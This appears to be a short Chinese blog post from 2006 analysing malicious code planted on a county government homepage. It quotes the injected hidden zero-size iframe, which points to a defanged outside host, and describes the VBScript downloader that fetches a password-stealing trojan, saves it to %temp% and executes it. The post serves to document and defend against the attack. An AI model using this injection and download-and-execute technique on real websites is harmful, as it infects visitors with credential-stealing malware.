某县政府网被加入下载木马Trojan-PSW.Win32.QQShou.ix的代码

最新推荐文章于 2025-12-18 16:31:11 发布

最新推荐文章于 2025-12-18 16:31:11 发布 · 97 阅读

文章标签：

#shell

本文分析了一个政府网站主页被植入的恶意代码案例。该代码通过隐藏的iframe加载了使用escape()加密的VBScript脚本，进一步下载并执行了特洛伊木马Trojan-PSW.Win32.QQShou.ix。

endurer 原创

2006-11-14 第1版

该政府网站首页末被加入代码：
/--------
＜iframe src=hxxp://www.***.race*swd.com/wm.htm width=0 height=0 frameborder=0＞＜/iframe＞
--------/

wm.htm的内容为escape()加密的VBScript脚本代码，功能是利用 Microsoft.XMLHTTP 和 Scripting.FileSystemObject 下载文件 hxxp://www.***.race*swd.com/1**.exe，保存为 %temp% 中的 asde.exe，并利用Shell.Application 对象的 ShellExecute 方法来运行。

1**.exe 文件大小为36.7 KB (37,619 字节)，Kaspersky 报为 Trojan-PSW.Win32.QQShou.ix。